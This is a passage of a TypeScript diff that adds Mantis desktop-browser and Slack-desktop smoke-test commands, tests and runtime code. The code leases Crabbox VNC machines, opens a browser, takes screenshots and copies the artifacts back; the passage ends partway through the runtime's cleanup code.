alternateModel: "openai/gpt-5.4",
crabboxBin: "/tmp/crabbox",
credentialRole: "maintainer",
credentialSource: "env",
fastMode: true,
gatewaySetup: undefined,
idleTimeout: "45m",
keepLease: true,
leaseId: "cbx_123abc",
machineClass: "beast",
outputDir: ".artifacts/qa-e2e/mantis/slack-desktop",
primaryModel: "openai/gpt-5.4",
provider: "hetzner",
providerMode: "live-frontier",
repoRoot: "/tmp/openclaw-repo",
scenarioIds: ["slack-canary"],
slackChannelId: undefined,
slackUrl: "https://app.slack.com/client/T123/C123",
ttl: "120m",
});
});
it("routes coverage report flags into the qa runtime command", async () => {
await program.parseAsync([
"node",

View File

@@ -1,5 +1,13 @@
import {
runMantisDesktopBrowserSmoke,
type MantisDesktopBrowserSmokeOptions,
} from "./desktop-browser-smoke.runtime.js";
import { runMantisDiscordSmoke, type MantisDiscordSmokeOptions } from "./discord-smoke.runtime.js";
import { runMantisBeforeAfter, type MantisBeforeAfterOptions } from "./run.runtime.js";
import {
runMantisSlackDesktopSmoke,
type MantisSlackDesktopSmokeOptions,
} from "./slack-desktop-smoke.runtime.js";
export async function runMantisDiscordSmokeCommand(opts: MantisDiscordSmokeOptions) {
const result = await runMantisDiscordSmoke(opts);
@@ -18,3 +26,27 @@ export async function runMantisBeforeAfterCommand(opts: MantisBeforeAfterOptions
process.exitCode = 1;
}
}
export async function runMantisDesktopBrowserSmokeCommand(opts: MantisDesktopBrowserSmokeOptions) {
const result = await runMantisDesktopBrowserSmoke(opts);
process.stdout.write(`Mantis desktop browser report: ${result.reportPath}\n`);
process.stdout.write(`Mantis desktop browser summary: ${result.summaryPath}\n`);
if (result.screenshotPath) {
process.stdout.write(`Mantis desktop browser screenshot: ${result.screenshotPath}\n`);
}
if (result.status === "fail") {
process.exitCode = 1;
}
}
export async function runMantisSlackDesktopSmokeCommand(opts: MantisSlackDesktopSmokeOptions) {
const result = await runMantisSlackDesktopSmoke(opts);
process.stdout.write(`Mantis Slack desktop report: ${result.reportPath}\n`);
process.stdout.write(`Mantis Slack desktop summary: ${result.summaryPath}\n`);
if (result.screenshotPath) {
process.stdout.write(`Mantis Slack desktop screenshot: ${result.screenshotPath}\n`);
}
if (result.status === "fail") {
process.exitCode = 1;
}
}

View File

@@ -1,7 +1,9 @@
import type { Command } from "commander";
import { createLazyCliRuntimeLoader } from "../live-transports/shared/live-transport-cli.js";
import type { MantisDesktopBrowserSmokeOptions } from "./desktop-browser-smoke.runtime.js";
import type { MantisDiscordSmokeOptions } from "./discord-smoke.runtime.js";
import type { MantisBeforeAfterOptions } from "./run.runtime.js";
import type { MantisSlackDesktopSmokeOptions } from "./slack-desktop-smoke.runtime.js";
type MantisCliRuntime = typeof import("./cli.runtime.js");
@@ -19,6 +21,16 @@ async function runBeforeAfter(opts: MantisBeforeAfterOptions) {
await runtime.runMantisBeforeAfterCommand(opts);
}
async function runDesktopBrowserSmoke(opts: MantisDesktopBrowserSmokeOptions) {
const runtime = await loadMantisCliRuntime();
await runtime.runMantisDesktopBrowserSmokeCommand(opts);
}
async function runSlackDesktopSmoke(opts: MantisSlackDesktopSmokeOptions) {
const runtime = await loadMantisCliRuntime();
await runtime.runMantisSlackDesktopSmokeCommand(opts);
}
type MantisDiscordSmokeCommanderOptions = {
channelId?: string;
guildId?: string;
@@ -46,6 +58,48 @@ type MantisBeforeAfterCommanderOptions = {
transport?: string;
};
type MantisDesktopBrowserSmokeCommanderOptions = {
browserUrl?: string;
class?: string;
crabboxBin?: string;
htmlFile?: string;
idleTimeout?: string;
keepLease?: boolean;
leaseId?: string;
machineClass?: string;
outputDir?: string;
provider?: string;
repoRoot?: string;
ttl?: string;
};
type MantisSlackDesktopSmokeCommanderOptions = {
altModel?: string;
class?: string;
crabboxBin?: string;
credentialRole?: string;
credentialSource?: string;
fast?: boolean;
gatewaySetup?: boolean;
idleTimeout?: string;
keepLease?: boolean;
leaseId?: string;
machineClass?: string;
model?: string;
outputDir?: string;
provider?: string;
providerMode?: string;
repoRoot?: string;
scenario?: string[];
slackChannelId?: string;
slackUrl?: string;
ttl?: string;
};
function collectString(value: string, previous: string[] = []) {
return [...previous, value];
}
export function registerMantisCli(qa: Command) {
const mantis = qa
.command("mantis")
@@ -108,4 +162,91 @@ export function registerMantisCli(qa: Command) {
tokenEnv: opts.tokenEnv,
});
});
mantis
.command("desktop-browser-smoke")
.description(
"Lease or reuse a Crabbox desktop, open a visible browser, and capture a VNC desktop screenshot",
)
.option("--repo-root <path>", "Repository root to target when running from a neutral cwd")
.option("--output-dir <path>", "Mantis desktop browser artifact directory")
.option("--browser-url <url>", "URL to open in the visible browser")
.option("--html-file <path>", "Repo-local HTML file to render in the visible browser")
.option("--crabbox-bin <path>", "Crabbox binary path")
.option("--provider <provider>", "Crabbox provider")
.option("--machine-class <class>", "Crabbox machine class")
.option("--class <class>", "Alias for --machine-class")
.option("--lease-id <id>", "Reuse an existing Crabbox lease")
.option("--idle-timeout <duration>", "Crabbox idle timeout")
.option("--ttl <duration>", "Crabbox maximum lease lifetime")
.option("--keep-lease", "Keep a lease created by this run after a passing smoke")
.action(async (opts: MantisDesktopBrowserSmokeCommanderOptions) => {
await runDesktopBrowserSmoke({
browserUrl: opts.browserUrl,
crabboxBin: opts.crabboxBin,
htmlFile: opts.htmlFile,
idleTimeout: opts.idleTimeout,
keepLease: opts.keepLease,
leaseId: opts.leaseId,
machineClass: opts.machineClass ?? opts.class,
outputDir: opts.outputDir,
provider: opts.provider,
repoRoot: opts.repoRoot,
ttl: opts.ttl,
});
});
mantis
.command("slack-desktop-smoke")
.description(
"Lease or reuse a Crabbox VNC desktop, run Slack QA inside it, open Slack in the browser, and capture a screenshot",
)
.option("--repo-root <path>", "Repository root to target when running from a neutral cwd")
.option("--output-dir <path>", "Mantis Slack desktop artifact directory")
.option("--crabbox-bin <path>", "Crabbox binary path")
.option("--provider <provider>", "Crabbox provider")
.option("--machine-class <class>", "Crabbox machine class")
.option("--class <class>", "Alias for --machine-class")
.option("--lease-id <id>", "Reuse an existing Crabbox lease")
.option("--idle-timeout <duration>", "Crabbox idle timeout")
.option("--ttl <duration>", "Crabbox maximum lease lifetime")
.option("--keep-lease", "Keep a lease created by this run after a passing smoke")
.option("--gateway-setup", "Start a persistent OpenClaw Slack gateway inside the VNC VM")
.option("--slack-url <url>", "Slack web URL to open in the visible browser")
.option("--slack-channel-id <id>", "Slack channel id for gateway setup allowlist")
.option("--provider-mode <mode>", "QA provider mode")
.option("--model <ref>", "Primary provider/model ref")
.option("--alt-model <ref>", "Alternate provider/model ref")
.option(
"--scenario <id>",
"Run only the named Slack QA scenario (repeatable)",
collectString,
[],
)
.option("--credential-source <source>", "Credential source for Slack QA: env or convex")
.option("--credential-role <role>", "Credential role for convex auth")
.option("--fast", "Enable provider fast mode where supported")
.action(async (opts: MantisSlackDesktopSmokeCommanderOptions) => {
await runSlackDesktopSmoke({
alternateModel: opts.altModel,
crabboxBin: opts.crabboxBin,
credentialRole: opts.credentialRole,
credentialSource: opts.credentialSource,
fastMode: opts.fast,
gatewaySetup: opts.gatewaySetup,
idleTimeout: opts.idleTimeout,
keepLease: opts.keepLease,
leaseId: opts.leaseId,
machineClass: opts.machineClass ?? opts.class,
outputDir: opts.outputDir,
primaryModel: opts.model,
provider: opts.provider,
providerMode: opts.providerMode,
repoRoot: opts.repoRoot,
scenarioIds: opts.scenario,
slackChannelId: opts.slackChannelId,
slackUrl: opts.slackUrl,
ttl: opts.ttl,
});
});
}

View File

@@ -0,0 +1,230 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { runMantisDesktopBrowserSmoke } from "./desktop-browser-smoke.runtime.js";
describe("mantis desktop browser smoke runtime", () => {
let repoRoot: string;
beforeEach(async () => {
repoRoot = await fs.mkdtemp(path.join(os.tmpdir(), "mantis-desktop-browser-smoke-"));
});
afterEach(async () => {
await fs.rm(repoRoot, { force: true, recursive: true });
});
it("leases a desktop box, runs a visible browser, copies artifacts, and stops on pass", async () => {
await fs.mkdir(path.join(repoRoot, "qa-artifacts"), { recursive: true });
await fs.writeFile(path.join(repoRoot, "qa-artifacts", "timeline.html"), "<h1>Mantis</h1>");
const commands: { args: readonly string[]; command: string; env?: NodeJS.ProcessEnv }[] = [];
const runtimeEnv = {
PATH: process.env.PATH,
CRABBOX_COORDINATOR_TOKEN: "runtime-token",
OPENCLAW_MANTIS_CRABBOX_PROVIDER: "hetzner",
};
const runner = vi.fn(
async (command: string, args: readonly string[], options: { env?: NodeJS.ProcessEnv }) => {
commands.push({ command, args, env: options.env });
if (command === "/tmp/crabbox" && args[0] === "warmup") {
return { stdout: "ready lease cbx_abc123\n", stderr: "" };
}
if (command === "/tmp/crabbox" && args[0] === "inspect") {
return {
stdout: `${JSON.stringify({
host: "203.0.113.10",
id: "cbx_abc123",
provider: "hetzner",
slug: "brisk-mantis",
sshKey: "/tmp/key",
sshPort: "2222",
sshUser: "crabbox",
state: "active",
})}\n`,
stderr: "",
};
}
if (command === "rsync") {
const outputDir = args.at(-1);
expect(outputDir).toBeTypeOf("string");
await fs.mkdir(outputDir as string, { recursive: true });
await fs.writeFile(path.join(outputDir as string, "desktop-browser-smoke.png"), "png");
await fs.writeFile(path.join(outputDir as string, "remote-metadata.json"), "{}\n");
await fs.writeFile(path.join(outputDir as string, "chrome.log"), "chrome\n");
return { stdout: "", stderr: "" };
}
return { stdout: "", stderr: "" };
},
);
const result = await runMantisDesktopBrowserSmoke({
browserUrl: "https://openclaw.ai/docs",
commandRunner: runner,
crabboxBin: "/tmp/crabbox",
env: runtimeEnv,
htmlFile: "qa-artifacts/timeline.html",
now: () => new Date("2026-05-04T12:00:00.000Z"),
outputDir: ".artifacts/qa-e2e/mantis/desktop-browser-test",
repoRoot,
});
expect(result.status).toBe("pass");
expect(commands.map((entry) => [entry.command, entry.args[0]])).toEqual([
["/tmp/crabbox", "warmup"],
["/tmp/crabbox", "inspect"],
["/tmp/crabbox", "run"],
["rsync", "-az"],
["/tmp/crabbox", "stop"],
]);
expect(commands.every((entry) => entry.env === runtimeEnv)).toBe(true);
const rsyncArgs = commands.find((entry) => entry.command === "rsync")?.args ?? [];
expect(rsyncArgs).not.toContain("--delete");
expect(rsyncArgs).toEqual(
expect.arrayContaining([
"crabbox@203.0.113.10:/tmp/openclaw-mantis-desktop-2026-05-04T12-00-00-000Z/desktop-browser-smoke.png",
"crabbox@203.0.113.10:/tmp/openclaw-mantis-desktop-2026-05-04T12-00-00-000Z/remote-metadata.json",
"crabbox@203.0.113.10:/tmp/openclaw-mantis-desktop-2026-05-04T12-00-00-000Z/chrome.log",
]),
);
const remoteScript = commands
.find((entry) => entry.command === "/tmp/crabbox" && entry.args[0] === "run")
?.args.at(-1);
expect(remoteScript).toContain("${BROWSER:-}");
expect(remoteScript).toContain("${CHROME_BIN:-}");
expect(remoteScript).toContain("chromium-browser");
expect(remoteScript).toContain("base64 -d");
expect(remoteScript).toContain('url="file://$out/input.html"');
expect(remoteScript).toContain('"browserBinary": "$browser_bin"');
await expect(fs.readFile(result.screenshotPath ?? "", "utf8")).resolves.toBe("png");
const summary = JSON.parse(await fs.readFile(result.summaryPath, "utf8")) as {
browserUrl: string;
crabbox: { id: string; vncCommand: string };
htmlFile?: string;
status: string;
};
expect(summary.browserUrl).toMatch(/^file:\/\//u);
expect(summary).toMatchObject({
htmlFile: path.join(repoRoot, "qa-artifacts", "timeline.html"),
crabbox: {
id: "cbx_abc123",
vncCommand: "/tmp/crabbox vnc --provider hetzner --id cbx_abc123 --open",
},
status: "pass",
});
});
it("rejects html files outside the repository", async () => {
const runner = vi.fn(async () => ({ stdout: "", stderr: "" }));
await expect(
runMantisDesktopBrowserSmoke({
commandRunner: runner,
crabboxBin: "/tmp/crabbox",
htmlFile: "../outside.html",
outputDir: ".artifacts/qa-e2e/mantis/desktop-browser-outside",
repoRoot,
}),
).rejects.toThrow("Mantis desktop HTML file must be inside the repository");
expect(runner).not.toHaveBeenCalled();
});
it("accepts Blacksmith Testbox lease ids from Crabbox warmup", async () => {
const commands: { args: readonly string[]; command: string }[] = [];
const runner = vi.fn(async (command: string, args: readonly string[]) => {
commands.push({ command, args });
if (command === "/tmp/crabbox" && args[0] === "warmup") {
return { stdout: "ready: tbx_abc-123_more\n", stderr: "" };
}
if (command === "/tmp/crabbox" && args[0] === "inspect") {
return {
stdout: `${JSON.stringify({
host: "203.0.113.10",
id: "tbx_abc-123_more",
provider: "blacksmith-testbox",
sshKey: "/tmp/key",
sshPort: "2222",
sshUser: "crabbox",
state: "active",
})}\n`,
stderr: "",
};
}
if (command === "rsync") {
const outputDir = args.at(-1);
await fs.mkdir(outputDir as string, { recursive: true });
await fs.writeFile(path.join(outputDir as string, "desktop-browser-smoke.png"), "png");
await fs.writeFile(path.join(outputDir as string, "remote-metadata.json"), "{}\n");
await fs.writeFile(path.join(outputDir as string, "chrome.log"), "chrome\n");
}
return { stdout: "", stderr: "" };
});
const result = await runMantisDesktopBrowserSmoke({
commandRunner: runner,
crabboxBin: "/tmp/crabbox",
now: () => new Date("2026-05-04T12:30:00.000Z"),
outputDir: ".artifacts/qa-e2e/mantis/desktop-browser-testbox",
provider: "blacksmith-testbox",
repoRoot,
});
expect(result.status).toBe("pass");
expect(commands).toEqual(
expect.arrayContaining([
expect.objectContaining({
args: expect.arrayContaining(["--id", "tbx_abc-123_more"]),
command: "/tmp/crabbox",
}),
]),
);
const summary = JSON.parse(await fs.readFile(result.summaryPath, "utf8")) as {
crabbox: { id: string; provider: string };
};
expect(summary.crabbox).toMatchObject({
id: "tbx_abc-123_more",
provider: "blacksmith-testbox",
});
});
it("keeps an existing lease and writes failure reports when the remote run fails", async () => {
const commands: { args: readonly string[]; command: string }[] = [];
const runner = vi.fn(async (command: string, args: readonly string[]) => {
commands.push({ command, args });
if (command === "/tmp/crabbox" && args[0] === "inspect") {
return {
stdout: `${JSON.stringify({
host: "203.0.113.10",
id: "cbx_existing",
provider: "hetzner",
sshKey: "/tmp/key",
sshPort: "2222",
sshUser: "crabbox",
})}\n`,
stderr: "",
};
}
if (command === "/tmp/crabbox" && args[0] === "run") {
throw new Error("remote chrome failed");
}
return { stdout: "", stderr: "" };
});
const result = await runMantisDesktopBrowserSmoke({
commandRunner: runner,
crabboxBin: "/tmp/crabbox",
leaseId: "cbx_existing",
outputDir: ".artifacts/qa-e2e/mantis/desktop-browser-fail",
repoRoot,
});
expect(result.status).toBe("fail");
expect(commands.map((entry) => [entry.command, entry.args[0]])).toEqual([
["/tmp/crabbox", "inspect"],
["/tmp/crabbox", "run"],
]);
await expect(fs.readFile(path.join(result.outputDir, "error.txt"), "utf8")).resolves.toContain(
"remote chrome failed",
);
});
});

View File

@@ -0,0 +1,601 @@
import { spawn, type SpawnOptions } from "node:child_process";
import fs from "node:fs/promises";
import path from "node:path";
import { pathToFileURL } from "node:url";
import { formatErrorMessage } from "openclaw/plugin-sdk/error-runtime";
import { ensureRepoBoundDirectory, resolveRepoRelativeOutputDir } from "../cli-paths.js";
export type MantisDesktopBrowserSmokeOptions = {
browserUrl?: string;
commandRunner?: CommandRunner;
crabboxBin?: string;
env?: NodeJS.ProcessEnv;
htmlFile?: string;
idleTimeout?: string;
keepLease?: boolean;
leaseId?: string;
machineClass?: string;
now?: () => Date;
outputDir?: string;
provider?: string;
repoRoot?: string;
ttl?: string;
};
export type MantisDesktopBrowserSmokeResult = {
outputDir: string;
reportPath: string;
screenshotPath?: string;
status: "pass" | "fail";
summaryPath: string;
};
type CommandResult = {
stderr: string;
stdout: string;
};
type CommandRunner = (
command: string,
args: readonly string[],
options: SpawnOptions,
) => Promise<CommandResult>;
type CrabboxInspect = {
host?: string;
id?: string;
provider?: string;
ready?: boolean;
slug?: string;
sshKey?: string;
sshPort?: string;
sshUser?: string;
state?: string;
};
type MantisDesktopBrowserSmokeSummary = {
artifacts: {
reportPath: string;
screenshotPath?: string;
summaryPath: string;
};
browserUrl: string;
htmlFile?: string;
crabbox: {
bin: string;
createdLease: boolean;
id: string;
provider: string;
slug?: string;
state?: string;
vncCommand: string;
};
error?: string;
finishedAt: string;
outputDir: string;
remoteOutputDir: string;
startedAt: string;
status: "pass" | "fail";
};
const DEFAULT_BROWSER_URL = "https://openclaw.ai";
const DEFAULT_PROVIDER = "hetzner";
const DEFAULT_CLASS = "beast";
const DEFAULT_IDLE_TIMEOUT = "60m";
const DEFAULT_TTL = "120m";
const CRABBOX_BIN_ENV = "OPENCLAW_MANTIS_CRABBOX_BIN";
const CRABBOX_PROVIDER_ENV = "OPENCLAW_MANTIS_CRABBOX_PROVIDER";
const CRABBOX_CLASS_ENV = "OPENCLAW_MANTIS_CRABBOX_CLASS";
const CRABBOX_LEASE_ID_ENV = "OPENCLAW_MANTIS_CRABBOX_LEASE_ID";
const CRABBOX_KEEP_ENV = "OPENCLAW_MANTIS_KEEP_VM";
const CRABBOX_IDLE_TIMEOUT_ENV = "OPENCLAW_MANTIS_CRABBOX_IDLE_TIMEOUT";
const CRABBOX_TTL_ENV = "OPENCLAW_MANTIS_CRABBOX_TTL";
function trimToValue(value: string | undefined) {
const trimmed = value?.trim();
return trimmed && trimmed.length > 0 ? trimmed : undefined;
}
function isTruthyOptIn(value: string | undefined) {
const normalized = value?.trim().toLowerCase();
return normalized === "1" || normalized === "true" || normalized === "yes";
}
function defaultOutputDir(repoRoot: string, startedAt: Date) {
const stamp = startedAt.toISOString().replace(/[:.]/gu, "-");
return path.join(repoRoot, ".artifacts", "qa-e2e", "mantis", `desktop-browser-${stamp}`);
}
async function defaultCommandRunner(
command: string,
args: readonly string[],
options: SpawnOptions,
): Promise<CommandResult> {
return new Promise((resolve, reject) => {
const child = spawn(command, args, {
...options,
stdio: ["ignore", "pipe", "pipe"],
});
let stdout = "";
let stderr = "";
child.stdout?.on("data", (chunk: Buffer) => {
const text = chunk.toString();
stdout += text;
if (options.stdio === "inherit") {
process.stdout.write(text);
}
});
child.stderr?.on("data", (chunk: Buffer) => {
const text = chunk.toString();
stderr += text;
if (options.stdio === "inherit") {
process.stderr.write(text);
}
});
child.on("error", reject);
child.on("close", (code, signal) => {
if (code === 0) {
resolve({ stdout, stderr });
return;
}
const detail = signal ? `signal ${signal}` : `exit code ${code ?? "unknown"}`;
reject(new Error(`${command} ${args.join(" ")} failed with ${detail}`));
});
});
}
async function pathExists(filePath: string) {
try {
await fs.access(filePath);
return true;
} catch {
return false;
}
}
async function resolveCrabboxBin(params: {
env: NodeJS.ProcessEnv;
explicit?: string;
repoRoot: string;
}) {
const configured = trimToValue(params.explicit) ?? trimToValue(params.env[CRABBOX_BIN_ENV]);
if (configured) {
return configured;
}
const sibling = path.resolve(params.repoRoot, "../crabbox/bin/crabbox");
if (await pathExists(sibling)) {
return sibling;
}
return "crabbox";
}
function extractLeaseId(output: string) {
return output.match(/\b(?:cbx_[a-f0-9]+|tbx_[A-Za-z0-9_-]+)\b/u)?.[0];
}
function shellQuote(value: string) {
return `'${value.replaceAll("'", "'\\''")}'`;
}
function resolveRepoBoundFile(repoRoot: string, filePath: string, label: string) {
const resolved = path.resolve(repoRoot, filePath);
const relative = path.relative(repoRoot, resolved);
if (relative === "" || relative.startsWith("..") || path.isAbsolute(relative)) {
throw new Error(`${label} must be inside the repository: ${filePath}`);
}
return resolved;
}
function renderRemoteScript(params: {
browserUrl: string;
htmlBase64?: string;
remoteOutputDir: string;
}) {
const shellUrl = shellQuote(params.browserUrl);
const shellUrlJson = shellQuote(JSON.stringify(params.browserUrl));
const htmlBase64 = shellQuote(params.htmlBase64 ?? "");
const shellOutputDir = shellQuote(params.remoteOutputDir);
const inputModeJson = shellQuote(JSON.stringify(params.htmlBase64 ? "html-file" : "url"));
const openedUrlJson = shellQuote(
JSON.stringify(
params.htmlBase64 ? `file://${params.remoteOutputDir}/input.html` : params.browserUrl,
),
);
return `set -euo pipefail
out=${shellOutputDir}
url=${shellUrl}
url_json=${shellUrlJson}
html_b64=${htmlBase64}
input_mode_json=${inputModeJson}
opened_url_json=${openedUrlJson}
rm -rf "$out"
mkdir -p "$out"
if [ -n "$html_b64" ]; then
printf '%s' "$html_b64" | base64 -d >"$out/input.html"
url="file://$out/input.html"
fi
export DISPLAY="\${DISPLAY:-:99}"
if ! command -v scrot >/dev/null 2>&1; then
sudo apt-get update -y >"$out/apt.log" 2>&1
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y scrot >>"$out/apt.log" 2>&1
fi
profile="$out/chrome-profile"
mkdir -p "$profile"
browser_bin=""
for candidate in "\${BROWSER:-}" "\${CHROME_BIN:-}" google-chrome chromium chromium-browser; do
if [ -n "$candidate" ] && command -v "$candidate" >/dev/null 2>&1; then
browser_bin="$(command -v "$candidate")"
break
fi
done
if [ -z "$browser_bin" ]; then
echo "No browser binary found. Checked BROWSER, CHROME_BIN, google-chrome, chromium, chromium-browser." >&2
exit 127
fi
"$browser_bin" \
--user-data-dir="$profile" \
--no-first-run \
--no-default-browser-check \
--disable-dev-shm-usage \
--window-size=1280,900 \
--window-position=0,0 \
--class=mantis-desktop-browser-smoke \
"$url" >"$out/chrome.log" 2>&1 &
chrome_pid=$!
cleanup() {
kill "$chrome_pid" >/dev/null 2>&1 || true
}
trap cleanup EXIT
sleep 8
scrot "$out/desktop-browser-smoke.png"
cleanup
trap - EXIT
sleep 1
rm -rf "$profile" || true
cat >"$out/remote-metadata.json" <<MANTIS_REMOTE_METADATA
{
"browserUrl": $url_json,
"browserBinary": "$browser_bin",
"display": "$DISPLAY",
"chromePid": $chrome_pid,
"inputMode": $input_mode_json,
"openedUrl": $opened_url_json,
"capturedAt": "$(date -u +%Y-%m-%dT%H:%M:%SZ)"
}
MANTIS_REMOTE_METADATA
test -s "$out/desktop-browser-smoke.png"
`;
}
function renderReport(summary: MantisDesktopBrowserSmokeSummary) {
const lines = [
"# Mantis Desktop Browser Smoke",
"",
`Status: ${summary.status}`,
`Browser URL: ${summary.browserUrl}`,
summary.htmlFile ? `HTML file: ${summary.htmlFile}` : undefined,
`Output: ${summary.outputDir}`,
`Started: ${summary.startedAt}`,
`Finished: ${summary.finishedAt}`,
"",
"## Crabbox",
"",
`- Provider: ${summary.crabbox.provider}`,
`- Lease: ${summary.crabbox.id}${summary.crabbox.slug ? ` (${summary.crabbox.slug})` : ""}`,
`- Created by run: ${summary.crabbox.createdLease}`,
`- State: ${summary.crabbox.state ?? "unknown"}`,
`- VNC: \`${summary.crabbox.vncCommand}\``,
"",
"## Artifacts",
"",
summary.artifacts.screenshotPath
? `- Screenshot: \`${path.basename(summary.artifacts.screenshotPath)}\``
: "- Screenshot: missing",
"- Remote metadata: `remote-metadata.json`",
"- Chrome log: `chrome.log`",
summary.error ? `- Error: ${summary.error}` : undefined,
"",
].filter((line) => line !== undefined);
return `${lines.join("\n")}\n`;
}
async function runCommand(params: {
args: readonly string[];
command: string;
cwd: string;
env: NodeJS.ProcessEnv;
runner: CommandRunner;
stdio?: "inherit" | "pipe";
}) {
return params.runner(params.command, params.args, {
cwd: params.cwd,
env: params.env,
stdio: params.stdio ?? "pipe",
});
}
async function warmupCrabbox(params: {
crabboxBin: string;
cwd: string;
env: NodeJS.ProcessEnv;
idleTimeout: string;
machineClass: string;
provider: string;
runner: CommandRunner;
ttl: string;
}) {
const result = await runCommand({
command: params.crabboxBin,
args: [
"warmup",
"--provider",
params.provider,
"--desktop",
"--browser",
"--class",
params.machineClass,
"--idle-timeout",
params.idleTimeout,
"--ttl",
params.ttl,
],
cwd: params.cwd,
env: params.env,
runner: params.runner,
stdio: "inherit",
});
const leaseId = extractLeaseId(`${result.stdout}\n${result.stderr}`);
if (!leaseId) {
throw new Error("Crabbox warmup did not print a lease id.");
}
return leaseId;
}
async function inspectCrabbox(params: {
crabboxBin: string;
cwd: string;
env: NodeJS.ProcessEnv;
leaseId: string;
provider: string;
runner: CommandRunner;
}) {
const result = await runCommand({
command: params.crabboxBin,
args: ["inspect", "--provider", params.provider, "--id", params.leaseId, "--json"],
cwd: params.cwd,
env: params.env,
runner: params.runner,
});
return JSON.parse(result.stdout) as CrabboxInspect;
}
async function copyRemoteArtifacts(params: {
cwd: string;
env: NodeJS.ProcessEnv;
inspect: CrabboxInspect;
outputDir: string;
remoteOutputDir: string;
runner: CommandRunner;
}) {
const { host, sshKey, sshPort, sshUser } = params.inspect;
if (!host || !sshKey || !sshUser) {
throw new Error("Crabbox inspect output is missing SSH copy details.");
}
await runCommand({
command: "rsync",
args: [
"-az",
"-e",
[
"ssh",
"-i",
shellQuote(sshKey),
"-p",
sshPort ?? "22",
"-o",
"BatchMode=yes",
"-o",
"ConnectTimeout=15",
"-o",
"StrictHostKeyChecking=no",
"-o",
"UserKnownHostsFile=/dev/null",
].join(" "),
`${sshUser}@${host}:${params.remoteOutputDir}/desktop-browser-smoke.png`,
`${sshUser}@${host}:${params.remoteOutputDir}/remote-metadata.json`,
`${sshUser}@${host}:${params.remoteOutputDir}/chrome.log`,
`${params.outputDir}/`,
],
cwd: params.cwd,
env: params.env,
runner: params.runner,
});
}
async function stopCrabbox(params: {
crabboxBin: string;
cwd: string;
env: NodeJS.ProcessEnv;
leaseId: string;
provider: string;
runner: CommandRunner;
}) {
await runCommand({
command: params.crabboxBin,
args: ["stop", "--provider", params.provider, params.leaseId],
cwd: params.cwd,
env: params.env,
runner: params.runner,
stdio: "inherit",
});
}
export async function runMantisDesktopBrowserSmoke(
opts: MantisDesktopBrowserSmokeOptions = {},
): Promise<MantisDesktopBrowserSmokeResult> {
const env = opts.env ?? process.env;
const startedAt = (opts.now ?? (() => new Date()))();
const repoRoot = path.resolve(opts.repoRoot ?? process.cwd());
const outputDir = await ensureRepoBoundDirectory(
repoRoot,
resolveRepoRelativeOutputDir(repoRoot, opts.outputDir) ?? defaultOutputDir(repoRoot, startedAt),
"Mantis desktop browser smoke output directory",
{ mode: 0o755 },
);
const summaryPath = path.join(outputDir, "mantis-desktop-browser-smoke-summary.json");
const reportPath = path.join(outputDir, "mantis-desktop-browser-smoke-report.md");
const crabboxBin = await resolveCrabboxBin({ env, explicit: opts.crabboxBin, repoRoot });
const provider =
trimToValue(opts.provider) ?? trimToValue(env[CRABBOX_PROVIDER_ENV]) ?? DEFAULT_PROVIDER;
const machineClass =
trimToValue(opts.machineClass) ?? trimToValue(env[CRABBOX_CLASS_ENV]) ?? DEFAULT_CLASS;
const idleTimeout =
trimToValue(opts.idleTimeout) ??
trimToValue(env[CRABBOX_IDLE_TIMEOUT_ENV]) ??
DEFAULT_IDLE_TIMEOUT;
const ttl = trimToValue(opts.ttl) ?? trimToValue(env[CRABBOX_TTL_ENV]) ?? DEFAULT_TTL;
const htmlFileOption = trimToValue(opts.htmlFile);
const htmlFile = htmlFileOption
? resolveRepoBoundFile(repoRoot, htmlFileOption, "Mantis desktop HTML file")
: undefined;
const htmlBase64 = htmlFile
? Buffer.from(await fs.readFile(htmlFile)).toString("base64")
: undefined;
const browserUrl = htmlFile
? pathToFileURL(htmlFile).toString()
: (trimToValue(opts.browserUrl) ?? DEFAULT_BROWSER_URL);
const runner = opts.commandRunner ?? defaultCommandRunner;
const explicitLeaseId = trimToValue(opts.leaseId) ?? trimToValue(env[CRABBOX_LEASE_ID_ENV]);
const keepLease = opts.keepLease ?? isTruthyOptIn(env[CRABBOX_KEEP_ENV]);
const createdLease = explicitLeaseId === undefined;
const remoteOutputDir = `/tmp/openclaw-mantis-desktop-${startedAt
.toISOString()
.replace(/[^0-9A-Za-z]/gu, "-")}`;
let leaseId = explicitLeaseId;
let summary: MantisDesktopBrowserSmokeSummary | undefined;
try {
leaseId =
leaseId ??
(await warmupCrabbox({
crabboxBin,
cwd: repoRoot,
env,
idleTimeout,
machineClass,
provider,
runner,
ttl,
}));
const inspected = await inspectCrabbox({
crabboxBin,
cwd: repoRoot,
env,
leaseId,
provider,
runner,
});
await runCommand({
command: crabboxBin,
args: [
"run",
"--provider",
provider,
"--id",
leaseId,
"--desktop",
"--browser",
"--no-sync",
"--shell",
"--",
renderRemoteScript({ browserUrl, htmlBase64, remoteOutputDir }),
],
cwd: repoRoot,
env,
runner,
stdio: "inherit",
});
await copyRemoteArtifacts({
cwd: repoRoot,
env,
inspect: inspected,
outputDir,
remoteOutputDir,
runner,
});
const screenshotPath = path.join(outputDir, "desktop-browser-smoke.png");
if (!(await pathExists(screenshotPath))) {
throw new Error("Desktop browser screenshot was not copied back from Crabbox.");
}
summary = {
artifacts: {
reportPath,
screenshotPath,
summaryPath,
},
browserUrl,
htmlFile,
crabbox: {
bin: crabboxBin,
createdLease,
id: leaseId,
provider,
slug: inspected.slug,
state: inspected.state,
vncCommand: `${crabboxBin} vnc --provider ${provider} --id ${leaseId} --open`,
},
finishedAt: new Date().toISOString(),
outputDir,
remoteOutputDir,
startedAt: startedAt.toISOString(),
status: "pass",
};
return {
outputDir,
reportPath,
screenshotPath,
status: "pass",
summaryPath,
};
} catch (error) {
summary = {
artifacts: {
reportPath,
summaryPath,
},
browserUrl,
htmlFile,
crabbox: {
bin: crabboxBin,
createdLease,
id: leaseId ?? "unallocated",
provider,
vncCommand: leaseId
? `${crabboxBin} vnc --provider ${provider} --id ${leaseId} --open`
: "unallocated",
},
error: formatErrorMessage(error),
finishedAt: new Date().toISOString(),
outputDir,
remoteOutputDir,
startedAt: startedAt.toISOString(),
status: "fail",
};
await fs.writeFile(path.join(outputDir, "error.txt"), `${summary.error}\n`, "utf8");
return {
outputDir,
reportPath,
status: "fail",
summaryPath,
};
} finally {
if (summary) {
summary.finishedAt = new Date().toISOString();
await fs.writeFile(summaryPath, `${JSON.stringify(summary, null, 2)}\n`, "utf8");
